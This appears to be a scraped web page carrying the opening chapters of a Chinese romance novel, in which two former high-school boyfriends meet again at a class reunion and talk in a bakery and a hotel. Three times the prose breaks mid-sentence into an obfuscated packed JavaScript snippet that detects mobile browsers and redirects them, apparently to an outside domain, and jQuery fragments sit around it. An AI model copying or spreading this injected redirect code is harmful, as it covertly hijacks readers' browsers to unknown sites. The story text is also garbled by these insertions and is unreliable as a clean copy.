《向北飞到荒野》 1. 第一章 【当春天来的时候,候鸟会飞回北方。】 1 方野以为他很可能再过十年二十年也见不到原北。更不消说同学聚会这种场合,似乎不是原北会出现的地方。 事实证明他的想象过分夸大,也可能是他根本不了解原北。如今他二十九岁,第二次参加高中同学聚会,猝不及防听见几个人笑着起哄:“小北来了!” “现在该叫北总!” “不应该是原总吗?一点不尊敬!” 偌大包厢的门被推开,房间顶闪烁发光的水晶灯在造型上努力出了六七位数,照得走进来的原北那样风度翩翩、优雅漂亮。 在起哄声变大前,他笑着抬手压了压,声音懒洋洋的:“好了,接驾呢你们。今天来人这么多?” “十年聚会,怎么说都得来吧?你不知道班长费尽心思找到电话,一个个去问呢。” 十年过去,有的人可能连父母都不在这个城市生活了,要联络上,确实是一项大工程。 原北给旁边的班长拍了拍手,说道:“你这本事当年真该报警校,我说我才回国,时差都没倒过来,就有人来问我去不去同学聚会了。” 班长哈哈大笑,他还不到三十,已经显现出几分富态,看起来越发和气:“近视,报个屁!上次五周年聚会可真冷清,主要就是我们几个没有离家远的人喝酒聊天。对了,方野,方野呢?” 几道视线在灯光下逡巡,很快锁定了离门不远的方野:“怎么坐这?原北刚刚还跟我提起你。” 方野不得不起身过去,其他人说笑交谈,各顾各地聊着。 最近的一桌是女生,兴致勃勃地拉着原北问东问西。他微微笑着俯身听她们说话,灯下浓密乌黑的发丝和白玉雕成一样的侧脸,显示出更成熟的轮廓。 方野总觉得像走在众目睽睽下,幸好路程短,可是煎熬并没有少。站在原北面前,一时间他都不知道怎么伸手。 原北笑着应完一人的话,曲起的手肘搭着椅背,抬头露出正脸,睫毛轻轻地眨了一下,对方野伸出手。 “好久不见了。”他说。 2 “说实话,真没想到方野最后会是留在阳城的那个。”班长带着他们去里面一桌坐下,路上不住嘴地说,“原北你好几年没回国,不知道吧?方野现在开了家面包店,就在我们高中对面,我上次去看,生意还真不错,我老婆吃了后买了一大包带回家。” 原北脸上始终挂着笑,跟着附和点头,还在班长说话的间隙侧头靠近点,问方野:“真的吗?” 方野又想看他,又不敢看他,勉强地说:“……没有那么夸张。”他的余光擦过原北的脸,发现原北也并没有直视他,漫不经心看着某处,眼睫密长。 直到方野的目光在他侧脸停留,他才敏锐地转过视线,黑玉似的眼珠,笑的时候也有些冷淡。 “那么等下我也要去光顾了。”原北说道。 方野没有接话——不知道怎么接,他不想要原北去,也不想拒绝。 这是他人生中常见的矛盾,方野已经对这种纠结感无动于衷。 好在原北并没有再跟他说话,迈了一步跟上班长,笑吟吟地问:“你现在是做老师吧?语文老师?” 班长后仰了一下:“火眼金睛!怎么看出来的?不过不是语文,我教历史,高中历史。” 原北神秘地一笑:“猜的,老师嘛,都有种气质,比如说……太成熟了。” 班长咂摸过来:“你说我老?” 众人笑开。方野被裹挟着落座,原北在他左手边,身上淡淡的香水味散发出来,脱下外套后,动作自然地将表一摘,递给方野。 方野愣了愣,脑子里还是空白的,手却下意识伸出去,接住腕表。金属的表带和表盘,温热的,带着原北的体温。 “外套没有口袋。”原北凑近了,说话声音很低,呼吸也很热,“你有口袋,帮我装一下。” 方野没吭声,他向来在原北面前擅长于服从命令,把表放进外衣兜里。手指摸了几秒,待温度逐渐消失后,抽出手,若无其事地搁着。 “……你不知道我找到原北的联系方式有多难!”班长说,“他家里人都不在这边,人也出国了。我当时想,方野肯定是最容易联系上他的,没想到一问,嘿,这小子,告诉我他换过手机,好多人的号码都没了! “还是我找了一串人,最后问到当时我们隔壁班的,才要到小北的号码。太戏剧了,结果小北你这么多年没换手机号啊,怎么方野没有跟你联系过?你们当年玩那么好。” 方野抬了抬头,他觉得灯光太刺眼了,所以让他一时间没说出话。 原北竟然没换手机号? 无言以对的沉默没有维持太久,方野余光里瞥见原北调整了一下坐姿,手还在折袖口。 他不会让这种场合冷掉,很自然地接过话头说:“我高考完没多久就出国了,方野存我的联系方式,也不至于把我手机号背下来吧,手机坏了找不到人很正常。再说,当时学校登记留的是我爸妈的号码,他们都换了,所以跟你们也就失去了联系。” 关注点果然被转移,没人再追问刚刚的问题。 “你回国是怎么打算?不留那边工作了?” “主要是拿个学历再美化一下简历么,生活方式我还是更喜欢家里。”原北倒了杯热水,嘴唇血色重了些,“我父母过两年也回来养老,以后我应该常住广城了。” “广城好地方啊。” “还是比阳城好,唉,阳城这么些年,都没发展起来。你看咱们,还不都是去外地打工。” 话题转换到社会发展,原北不多说什么,支着脸听他们说话,保持微笑地偶尔附和。 方野时不时看他,心不在焉,玩着手里的水杯。原北突然转头看过来,对上方野的眼睛。 方野差点把玻璃杯摔了,听原北问:“我变化很大吗?一直盯着看。” 房间里温度适宜,方野从后背到耳朵开始烧。原北笑了笑,接着补充,“你变化不大,认出来挺容易的。” 他该回什么? 方野好半天说:“你也是。” “你怎么留在阳城开面包店?去学了财务还是烹饪?”原北语气轻松,态度随和,就好像跟多年不见的关系还不错的老同学闲聊一样,“我记得当年有人和我提过,你去了C大读数学……” “我退学了。”方野打断他。 3 服务生过来给每桌补充热水,里面泡着柠檬,散发出酸甜的清香。原北抬手示意,接满水后客气地说声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653028|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢,转过来,神情变得认真。 “退学,为什么?” 方野看了看他,不知如何说起。最后他回答:“没有什么原因,不想上了,然后退学。退学回来也不知道做什么,过了几年开一家面包店,应该比不少人赚得多。” 原北定定看他一会,方野心越发地沉,他想……他眼前短暂闪过在那间狭窄的卧室里,原北皱眉坐在桌边盯着他,也是这种眼神。 “改志愿,原因是什么?方野,给我一个解释。” 方野坐在椅子上,伸出手轻而易举就能跨过微小的距离抓住原北的手。他也这么做了,随后就恨不得整个人挨到原北身上。 “说话。”原北提醒他。 方野说不出解释,只好下意识地说出心里话:“……我想亲你。” 原北表情变了变,方野探身,嘴唇印在他脸上。 原北身上有一种薄荷的沐浴露味道,空调吹后显得凉津津的。他起初还躲了一下,后来满脸无奈的样子,侧过脸,在方野嘴唇上咬了一口。 “不用为了我改志愿。”原北说,他的手指拨开方野的头发,凝视着他,“改回C大数学系。” 方野不动,原北耐着性子,“A大和C大都在一个省,坐车很快就到了。你报A大不够进数学院的,别乱搞。” 在一阵沉默后,原北什么都没说。他的目光也是凉津津的,起身打开电脑,登陆系统,把方野的志愿从A大的化学改回最开始的C大数学。 “就这么定了,不准再改。”他难得用这么强硬的语气说话,“方野,成熟一点。”说完,他单手捧起方野的侧脸,轻柔地亲吻。 方野当时把从C大到A大的几趟火车时刻表都记住了,没想到最后根本没机会坐。 原北填了A大,但志愿系统还没关闭,他就已经去了大洋彼岸。 留下方野独自在阳城,混混沌沌拿了高中毕业证,混混沌沌去上大学,最后还是回到了阳城。 曾经原北对他说过,说“我们要离开阳城,去很远的地方”,结果只有他独自远走高飞。方野像累赘的行李,没到站就被他抛下。 方野想跪下去趴在原北的膝盖上,问他自己是不是做错了很多选择。如果原北想要一个C大数学系的方野,他明天就回去准备高考,希望原北不要嫌弃他太晚。 但是这种场合不适合……方野的思绪飘远了。 他脑子坏掉了,还以为是十一年前呢。 原北说:“想不到你会做出这种事。” 他的语气很平和,眉心微微皱着,是一幅不解的模样,黑沉沉的眼睛里,看不出情绪。 没有斥责,只有疏远客气的疑惑,也没有追问,大概是对于老同学边界的尊重。 方野这下不躲了,直勾勾盯着他。然而原北没有更多的表示,睫毛垂下去又向上一掀,接过班长递的酒水单,面上挂着笑,勾了一笔。 “橙汁吧,”他道,“我喝不了酒。” “留学还不能喝酒?” 几个人起哄,原北不见窘迫,闲适坦荡地说:“那没办法,天生喝不了。” 好在这些人也没有劝酒的爱好,各自点了酒水饮料,还有几个女生凑一起点奶茶外卖。热闹哄哄中,服务员开始上菜,方野却没有食欲。 2. 第二章 4 屋内暖气很足,菜的热气和众人的话语推动温度爬升。原北额头覆了薄薄的汗,将袖子向上卷,伸手去拿纸巾盒。 方野吃不下去,看他的动作倒是上心,默默无语地将远处的纸巾盒递过来。 原北接住这恰到好处的纸巾,没说什么。他的脸侧红了一片,眼睛湿润,嘴唇微微肿着。 方野一向是被说“木头脑袋”,然而在面对原北时从不木头,一瞬间福至心灵,找服务员要了杯冰的柠檬水。 阳城口味重,爱吃辣。方野记得原北当年出去吃饭都要多加辣,如今在国外呆几年回来,对辣椒显然没那么耐受了。 冰凉的玻璃杯碰到原北的手背,他的手指下意识蜷缩了一下,随后抬起脸,这次看着方野,眼神里终于短暂地出现些许诧异。 原北没接,方野举着杯子,过了两秒感到迟来的窘迫,压低声音问:“你不喝啊?我以为你……辣得难受。” 这时原北笑了笑,唇边晕开的红色像花掉的口红,他靠过来小声说了句“谢谢”,拿着杯子仰头喝下好几口,明显舒服许多。 班长耳听八方,并未在意方野递水的行为,而是说:“忘了这还有个吃不惯的,哎,那边那个菜转过来点!” “没事,问题不大。”原北拦住,“别折腾,我能吃的,就是太久没吃过这么辣的。” 拉扯几回,班长才作罢。原北用公筷夹起一块糖糕,转过来放进方野的碗里:“尝尝?” 方野下意识盯了一眼筷子,原北应当是误会他介意,放下筷子说明:“是公筷,干净的。” 直接说明他用原北的筷子也没事,似乎不太符合老同学的身份。方野过了会憋出一句:“嗯,我不介意。” 几秒后,他补充:“谢谢。” 原北说:“客气了。” 方野又有点后悔,觉得刚刚的对话实在是一塌糊涂。 这时酒被端上来,有几个人明显兴奋不少,嚷嚷着把酒杯洗一遍。方野兴致缺缺,看见原北放下筷子,不动声色地低头按了下眉心,再抬起时面色平静,自然地端起杯子,迎上倾倒的酒瓶。 “小北,不是不能喝?” “我凑个热闹。”原北笑笑,只用上唇沾了点,“谢谢大家。” 说完,他手腕一斜,不动声色将酒倒掉,再换上橙汁。 班长看到他不太高明的手法,走过去时拍了下原北的肩膀:“你这小子。” 方野是不碰酒的,况且他性子一直又独又怪,故而班长并不劝他,绕过去一个个吆喝劝酒。 其实这种同学聚会的劝酒不是硬性的,不过原北不爱扫兴。他比方野更在意合群,哪怕做做样子,也得凑个气氛。 5 事实证明原北留学这几年,吃辣本领丢失,社交技能倒是见长。他跟多年不见的同学也能找出话题,言笑晏晏,聊得开心。 为首几人都有了醉意,摆手叫着不喝了,原北一派轻松地坐着,身体忽然一侧,问方野:“你喝橙汁吗?” 方野一直在思考如果原北醉了该有多少麻烦事。毕竟原北酒品着实一般,上一次——很久以前的上一次,原北喝醉后,方野背着他上楼,找把钥匙的功夫,原北已经迅速上了顶层,差点就要钻进天台跳下去。 现在看原北似乎戒酒,没有这种机会了,方野说不出他是不是还有点遗憾,随后又觉得对这种事遗憾真是神经病。 回忆过去莫名其妙的事也是神经病。 他的思路被打断,慢半拍地回复:“不,不用,谢谢。” 酒精作用下,周围人便进入聊天吹牛阶段。原北这时变得寡言,基本只在话题牵扯到自己身上时才多说两句,其他时间就像在竞争金牌听众。 可能是因为气氛已经热络起来,不需要他再捧场了。 方野被酒味熏得头疼,手向口袋里摸了两下,无意中碰到表带,跟他体温一个温度。 他实在坐不下去,起身出门。正好楼下有宽广的露台,背后垂着白色的布帘,四周是深绿色的盆栽。 外面气温不高,没人在露台上自讨苦吃吹冷风。方野下意识地靠在角落,手挡着风点上一根烟。 他想把口袋中的表拿出来看,又不敢。一边抽烟,指腹在光滑的形状不规则表盘上摸来摸去,始终没有掏出来的勇气。 方野不认得什么牌子,不过匆匆一瞥也知道这表恐怕不便宜。原北就这么心大地把表交给他这个前任,也不怕被卷走卖掉或者不小心摔了。 心里烦闷,烟吸得也快,没一会就下去半根。方野缓了口气,不想上去面对原北以及那句不知道是不是玩笑的拜访承诺。 如果原北只是逗他玩,那么他这接近两小时的忐忑不安算什么? 而为了原北一句话就心神不宁,他觉得自己也是下贱得可以。 风将露台的布帘吹得抖了一下,方野侧过头,香烟的火星稳定地闪烁着。他很快反应过来抖动的弧度不对,一转身,和原北对上了视线。 “抱歉,不知道有人……”原北手里还端着杯水,另一只手按着太阳穴,直到看清眼前的人,“方野?” 方野把烟拿下来,虽然他也不知道为什么要这样做,愣了会,干巴巴地应了一声。 原北却没有再向前进一步。轻柔的白色纱布被夜风吹着,有一半缠在他身上,他带着疲惫的脸色和冷淡的神情,问道:“你在抽烟?” 简短的一句话,没有任何情绪。但方野明白他一直在等待的什么东西塌陷了,就像废墟一样将人彻底掩埋。 原北转身就走,方野顿时什么都忘了,快步跟上他,烟捏在手里,不知道如何开口。 到酒店灯光明亮的大堂,方野才看清原北穿着外衣,应该本来就打算离开。他亦步亦趋地跟着,原北一路上就像身后没这个人,直到此时才瞥了他一眼,眼角眉梢带着疲倦。 “你没喝酒,对吧?” “嗯,是。” “开车了没?” 方野立刻说:“开了。”随后谨慎地补充,“车不是太好。” 原北听见后面一句,无奈地偏过头:“什么意思,便宜的车我不坐?” 方野自觉画蛇添足,于是闭上嘴。 “我搭你的车,可以吗?”原北的手指又在额头按了按,“车费我按市价给你二倍。” 方野一时没反应过来,在灯下看着原北半隐藏于手后的脸,突然手指一痛,是烟烧到头了。 怎么烟还没扔? 他就像越想保持体面越要出丑的反面游戏角色一样,把烟丢进垃圾桶,将烫到的手塞进口袋,急匆匆地说:“我去开车。你在这里等我,外面很冷。” 反而是原北笑了一下:“我又不会跑,手表还在你口袋里,你急什么?” 他又恢复成日常的样子。方野却心里惴惴,明白做错了,然而不知道怎么道歉,更重要的是原北没有追究和在意的意思。 假如原北能骂他两句,就好了,他们就能回到当年的日子。熟悉的相处关系是一种舒适区,方野不想出来。 可非亲非故,原北管他做什么? 他的离开把方野的舒适区撕开一道口子,至今没有合上。 方野把车开到门口,想叫原北出来,手机解锁后想起他们目前没有联系方式,就打开车门要下车。 这时后面车门被打开,带进一股冷气。原北坐下后,语气平和地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653029|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你这车还好吧,很干净。” 他的手指在车窗底部碰了碰。 “嗯……平时只有我自己出门会开一下,后面座椅可能会有灰,有时候用来运货。” 狭窄的密闭空间里,方野喉咙像被什么卡住,也不清楚是怎么把后面那句话挤出来的,“你要不要坐前面?副驾驶不会放货。” 原北:“不用,太麻烦了。后面很干净。” 他看起来对于方野所说的话并不是很在意。 方野心里失望,可一想到原北坐在他车上,神经几乎是本能地兴奋。他唯独在面对原北时话多,尽管听起来大部分时间都不像是正常交流。 当然,原北在面对他时,也经常不正常。 他眼睛向后视镜看,原北正低头看着手机,额前的黑发垂下来,随着车辆行驶微微晃着。光映着他的脸,两腮稍微有些发红。 6 “你的店,叫什么名字?”原北忽然问。 明明他没抬头,方野莫名有种偷窥被抓到的心虚感。正好绿灯亮起,他收回目光,边开车边说:“第七天,就在我们高中对面。” 原北在地图上搜索到后,问:“这个路是向那边去吗?” “不走地图推荐的路,会比较绕。” 原北便没再问。他疲倦地向后倒,看着外面倒退的景物,一盏盏路灯的光滑过去。 又是红灯,漫长的数字一下下跳着。方野身上发热,他想开窗,但想到原北似乎有点头疼,就收回手,看见方向盘被握出汗湿的手印。 明明他背对着他,两人也没有交流,原北很突然地说:“想开窗就开吧。” 方野徒劳地掩饰:“……没有。这边晚上很冷的,风也大。” 原北可能想说什么,没来得及说,手机就响了。方野听他换了种语气,温和平静地跟那头寒暄客套,来回推拒几次,原北又说:“我在这只定了三天的酒店,实在没有时间,那边公司还等着我去报到。嗯好,下次再说。” 他挂断电话,叹了口气:“绿灯。” 方野如梦初醒,绿灯已经过去一半,再不走就赶不上了。好在这边车少人少,没人追在后面按喇叭催。 “你明天就走?”他尽量装作不经意地问。 原北说:“后天。还好你的店和酒店不远,再坐一小时的车我恐怕还得付你洗车费。” 方野说:“我不收你的钱。” 他说得很认真,原北放下手机半闭着眼睛,听见后故意打趣一样问:“我真吐你车上都不收?” “不,我不介意。”方野一边转进一条窄路一边说,“我那边有药,你等下可以吃。” 这条路是新修的,只有一头一尾有路灯。方野将灯调亮,实在是忍不住,多嘴说:“你如果不舒服,可以不来的。” 他说完又觉得自己管太多,怕惹原北不高兴。原北只道:“应该是时差还没倒好。” 他说完眼睛闭上了。方野为着安全,不能多看他,盯着眼前的路,车内十分安静。 原北应该是真累了,方野停车后,他还垂着头没动。方野总算有机会光明正大地看他,看了好久才下车打开后面车门,恋恋不舍地伸手,轻轻拍了拍原北的肩膀。 手被不轻不重地握了一把,方野弯着腰没动。他感到原北发凉的头发垂落在他手背上,随后是发烫的柔软的脸颊,不太规律的呼吸,温度比那只手表要高一些。 他忽然意识到自己在想什么东西,心立刻往下坠,产生一种唾弃感,内心很不齿,但也很诚实地想托起原北的脸亲一亲。 幸好原北很快清醒,离开他的手。方野举着空荡荡逐渐变冷的手心,庆幸自己没走上强制猥亵的道路。 3. 第三章 7 路对面就是阳城一中。这个时间,学生都下过晚自习,教学楼一片漆黑,道路十分安静。 学校对面的建筑很杂,既有小区也有一排商铺,基本都关门打烊。方野的面包店位置还算不错,正对学校大门,他们停车时,店里已经黑了。 店不大,方野基本上全天在店,偶尔他不在,那就是店里的姑娘小梁帮忙打烊。看起来在晚自习最后一波客源后,小梁已经收拾回家了。 “这边。小心脚下会有东西绊着。” 他还没说完,原北已经打开手电,光束自下而上,照着门锁:“地方还挺大的,租金贵吗?” “不用租金。”方野说,“我买下来了,去年年底时候买的,存款基本都用在这上面。” 原北没有立刻回答,转着手电,又看向周围的商铺,说:“收入稳定的话可以买,不过你不打算买房了?在这里一直做下去?” 方野打开侧边的门,玻璃门上的门锁撞到墙边,发出刺耳的噪音。他一把按住,背对着原北,好半晌说:“嗯,这样一直干下去,也挺好的。” 店里还有今天遗留下来的甜点香气,暖意也没有完全散去。方野把大灯打开,还要去开空调,被原北拦住:“不用麻烦,过一会就走了。” 原北第一次来,店却已经打烊,方野又涌出一股挫败感。 货架很干净,只有一些袋装的吐司面包留在上面。里面是透明的厨房,烤箱锃亮,方野站在旁边介绍着店里的设施,原北一直没出声。 直到他看见原北脸上的笑容,才迟钝地感受到窘迫,闭上嘴。 “搞得我像来检查一样。”原北笑微微地说道,语调却很温和,手臂搭在一边的架子上,“好吧,给你打个满分?” 面包店装修时为了吸引顾客,灯光都是专门设计过的。此刻原北站在这种灯下,显得青涩不少。 “应该叫你方老板了,是不是?” 他打趣一般说,仍旧侧着头,仔细地观察玻璃后的厨房。因为他侧头的动作,脖颈上淡青的血管跟着露出来。 方野向他走近两步,突然大门那里传来玻璃被敲响的声音。原北回身,诧异道:“还有客人?” 比他慢了一拍的方野没什么表情,跟着向大门那边望去,是一个穿着一中校服的女生,谨慎地趴在门边张望。 “请问……还营业吗?” 方野:“已经打烊了。你要买吐司的话可以,都在这里,给你打折。” 女生哦了一声,怀疑地看了看店里,有些踟蹰。原北反应快,提起两包口味不同的吐司走过去,说道:“挑一包吧,就这两种了。” 方野才意识到店里就两个气氛古怪的成年男人,一个女孩子不敢进来也正常。 “老板。”原北又叫他,“过来结账。” 方野心不在焉,走过去亮出付款码,被原北笑了后改成收款。 “店蛮不错的,等到明天营业时间我过来,给你捧场。怎么样?” 为防止再有人误会过来买东西,方野把大灯关掉,只留下两侧的小灯。听见原北的询问,他机械地转过身,没说话。 不能怪刚刚女生不敢进来。和原北讨人喜欢的长相不同,方野基本上就没有靠脸获得好感度的经历,他长得太高大,气质也比较阴沉,五官称得上端正而已。 从小到大,只有原北数次捧着他的脸,亲他时夸奖他:“你长得好看。” 他又在走神,没有回话。 “不欢迎我来?” 没有得到回应,原北并没有生气,仍然是平静地确认,“如果打扰你了,你直接拒绝我就好。” 方野顿时生出一种要被放弃的恐惧,说到底他自己也不理解,一个人会害怕被前任抛弃这种荒谬的事实——甚至原北早就抛弃过他一回。 这次见面完全是偶遇,纯粹的偶然,他竟然还在期待什么?又有什么可以期待的吗? 虽说脑子里在乱想,方野嘴上却回答得很快:“没有不欢迎!你随便来,只是我这里没有什么好看的……你可以告诉我手机号,我明天去接你。” 8 原北帮他关上灯,他们走回外面的冷风中。方野低头上锁,喀拉喀拉的声响里,原北回答:“怎么好麻烦老板,听说阳城上个月新开了地铁,我去坐一下试试,太久没回来了。” 他说到最后,听上去颇为感慨的样子。 方野晃了一下锁,确定锁好后,说:“我送你回去吧。” 手电的白光跟着晃了晃,原北走过来,方野身体下意识绷紧。原北的手指隔着衣袖握住他的手腕抬起:“你的手怎么回事?” 他倾了一下手机的角度,照亮方野指尖一个圆形的伤口。方野不由得手一缩,低头正好迎上原北的目光,笼着密密的睫毛。 “应该是刚刚被烟烧的。”方野说完,下意识补充,“对不起。”虽然他也不知道为什么道歉。 可能是因为原北说过,方野处理不好,所以身体的控制权应该移交给他,不小心受伤时需要道歉认错。 原北的目光又向下去看,薄薄的眼皮随着动作微微颤动。方野裹挟在记忆的碎片中,控制不住想低头靠近时,原北叹了口气,没说什么,放下他的手。 “我打车回去吧,这么晚,还让你又跑那么一段。” 原北转身走的时候,衣摆被风吹着飘起来一点。方野脑中空白,想也不想几步追上他,用力扯住他的手,脱口而出:“手表还在我这里。” “……”原北深吸一口气,他拧了下手腕,说道,“放开。” 方野陡然反应过来自己的手劲,放松力气,却没放手,酝酿了一整个晚上才修好的语言系统开始迟缓工作:“我以为会很久都见不到你,我也不知道去哪里找你,又不想……主动联系你,我就回到阳城等。” 原北将手抽了出去,他对于方野这段突兀的表白并没有给出回应,只是在方野的手再次伸过来时挡住:“你冷静一下,现在不是谈这个的好时机。我们可以明天找个地方聊。” “所以你为什么回来,单纯为了参加同学聚会?”指腹在一阵阵不明显地抽痛,低温起到一定的麻痹作用,方野控制不住地按住原北的肩膀,近乎神经质地靠近他,“我还以为你会带个新男友回来。” 原北的脸近在咫尺,有些发白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653030|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不笑的时候,脸部轮廓透出几分难言的冰冷,双眼黑沉沉的,就这么静静注视着方野。 “要我回答你的问题?”与之相反,原北的口吻称得上柔和,“好,那我告诉你,方野,我会来只是因为接到了邀请。至于新男友,我想我让你失望了,我并不算是完全的同性恋。如果你有需要,我倒是认识不少,可以给你介绍介绍。” 他没来得及说完,方野已经先一步放开,眼睛死死瞪着他,混乱地深呼吸着。 “你能不能别这样说话?” 一晚上的和平被撕碎,方野意识到他再不可能回到曾经的舒适区,重逢不过是让那个裂口越来越大。 “我以为你会让我道歉或者赔偿你分手费。”原北隔着短短的距离凝视他。他脸上有一种冷淡虚假的微笑,就像高中时他被关在空荡荡的实验室里,双手环胸靠坐在桌边跟站在门后的方野说话的样子。 方野呼吸有些困难,听原北继续说,“没想到你比我爸妈都关心我现在的感情生活。” 他们陷入短暂的沉默,方野的语言系统又罢工了,他不知道说什么也不知道做什么。 原北闭了一下眼睛,手在额头拍了拍,再放下手时他重新变得冷静:“我有些控制不住情绪,抱歉。我叫的车要到了,你把你的手机号给我吧,明天再聊。” 他的手握着手机递到方野面前,方野却只想着挽回。他又把事情搞糟了,他不应该在这里和原北吵架。 “你讨厌我抽烟是不是?”方野几乎急中生智,冒出来一个主意。他掏出身上的烟盒和打火机,展示给原北看,接着全部扔进店门前的垃圾桶。 “我不抽了。”他说,也不明白这其中能有什么逻辑关系,“让我送你回去吧。” 原北又叹了口气。 他的眼神不再那么冷淡,望着方野时几乎有点忧郁,好像刚刚说的那些话,不止让方野伤心。 一辆车从街对面转过来,按响喇叭。原北望了一眼,说:“我的车到了。” 他并没有立刻转身就走,只是看着方野。 就跟以前一样,方野清楚事情已成定局,没有任何转圜余地,原北从不妥协。他把手机号输进原北的手机,独自站在店门口,看着原北的背影消失在车里。 方野的手滑进口袋,碰到温热的手表。他跟空气置气,打开手电,拍了表去搜价格,将手表举在垃圾桶上方,想了很久,还是没扔。 手表已经冻得像冰块,表盘反射的光都璀璨多彩。现在有手机就能看时间,还戴着这种东西纯粹是有钱人的享受。 方野把表装回去,握在手心,又冷又硬。他想起原北第一次带他去家里,他在漂亮的花园和三层小别墅面前后知后觉自己的破旧运动鞋不合时宜,对原北说,你家这么有钱? 原北跟他已经很熟,不怎么假笑,是真的很开心的笑,挽着方野的手臂,靠在他身上说,还好吧。 他想了想,又抬手把自己头上的棒球帽扣给方野,说他以后如果找不到工作,可以来做有钱人的玩物,包吃包住有保险。 原北做得很成功。 方野不是有钱人的玩物,纯粹是他的玩物。 4. 第四章 9 是原北要走了方野的手机号,所以主动权在原北手里。 方野踩着冷风回到家。 他住的房子还是他爸妈当初结婚时的婚房,地理位置不错,距离一中很近,但是也够老。户型一般,采光很差,冬冷夏热,什么地暖更是无稽之谈。 不过他现在的收入只要养活他自己,所以方野手里钱够了后立刻将整间房子重新装修。哪怕外表看着一般,里面还是可以见人的。 他装修时像个傻子一样在网上搜,有格调的装修方式是什么样,年入千万家庭的装修方案,资深工作室告诉你富人区怎么装修,等等等等,看得眼花缭乱。 后来方野总算明白,第一他装修得再好原北也不一定会看到,第二房子的价钱就在那里,再怎样雕花也提升不了什么。 他放弃折腾装修师傅,不过还是在卧室放了一张懒人沙发。 因为原北的卧室就有一张懒人沙发,他会没骨头一样摊在里面,腿长长地伸出去,理直气壮使唤方野这个客人去端水果。 方野凭借着记忆在某品牌网站上找到同款沙发,对着价格气到笑出来,觉得谁买谁傻逼,但还是付款了。 他很少坐这个懒人沙发,毕竟价格昂贵,舍不得糟蹋。现在方野坐在昂贵的懒人沙发里,等着原北回消息。 按原北时不时的恶劣程度,可能会凌晨,或者明早才理会他。而且很可能不会加他好友,只是打个电话—— 手机猛地一震,方野下意识抓起来,就看到屏幕上跳出的消息。 【North请求添加你为好友】 方野点了通过,他还在思考如何编辑第一句对话,那边却已经发来一张图片,是酒店app的截图。 过了几秒,方野才意识到,原北是将酒店入住的信息发给他了。 什么意思? 不等他多想,原北接着发来几句话。 【如果你想聊,可以来酒店,楼下是自助餐厅,我请你吃饭】 有人会稀罕那顿饭吗? 方野拿着手机,又开始想他刚刚的糟糕表现,完全是一个失败的前任,甚至没有主动归还前男友的手表。 他已经打好“我知道了”,然而盯了会,慢慢将这四个字删掉,改成“我去接你”。 原北很好商量,问他不去酒店那去哪里。方野怀疑他留学期间还是主要跟本国人社交,否则怎么打字那么顺利。 【我开车带你逛逛,再请你吃饭。你有什么想说的,我可以订包厢。】 方野删删改改发出去后发现已经过去了五分钟,原北迟了会才回他一个简单的“好”。 看样子聊天要结束,方野还不想结束,机器人一样捱过了五分钟又问,你的手表怎么办? 原北过了将近二十分钟才回一句,忘了。 方野这下又不确定,他觉得原北的语言能力还是有明显下降的。 【明天你带给我吧】 原北补了一句,方野心里舒服许多,忽然感觉手脚很冷,发现他空调都忘了开。 10 原北住的是一家中上档次的连锁酒店,大概日常客人不多,服务人员都有种无处发挥的热情,自助早餐硬是给他多加了一个蛋一块饼。 他本着不浪费的原则勉强吃完,方野的电话已经来了。 原北拿起手机还没说话,方野就在那头问:“你在几楼?” 他偏过脸看了看窗外雾蒙蒙的光线,没有回答,而是反问:“你在哪里?” 方野静了两秒,语气僵硬地回答:“一楼大堂。” 原北没开口,只是等待,方野继续解释,“我来得很早,所以就进来等你。” 拙劣的谎话,原北却不打算揭穿。他将喝完的水杯放下,起身说:“我下去接你。” 方野惴惴不安在电梯附近等待。他原本坐在小沙发上,可惜坐立不安,于是又站起来焦虑地转圈,接电话时还要躲到角落,不远处前台的两位姑娘已经如临大敌地叫了保安过来守着。 原北一出电梯就看到方野,明明个子高,但总显得沉默内向,呆呆地站在角落里,像在罚站。 他想到方野真的被他罚站过,脸上掠过一丝笑,转瞬即逝。 原北还没出声,方野就像装了感应器,敏锐地转身,随后立即走过来。 原北今天换了件大衣,手向口袋里一插,看着方野,问:“吃早饭了没?我给你买张餐券?” 方野在构思腹稿,他应该说吃过了而不是没有吃,但他还是摇了摇头。可能是因为身体本能更倾向于跟原北共进早餐。 原北大约是没想到他真的会不吃饭就跑过来,有些讶异,走进电梯后凑近看他。 方野手指紧张地抽了抽,而原北已经退开了,留下身上很淡的香味。 “没有疲劳驾驶吧?”他问,“我看你没什么黑眼圈。” 方野就老实交代:“我睡了七个小时,是你睡太晚了。”意思是他以己度人。 原北难得无言以对,又好气又好笑地抬起目光,结果方野把手机屏幕给他看。 智能手环记录的睡眠时间就是七个小时,不多不少。 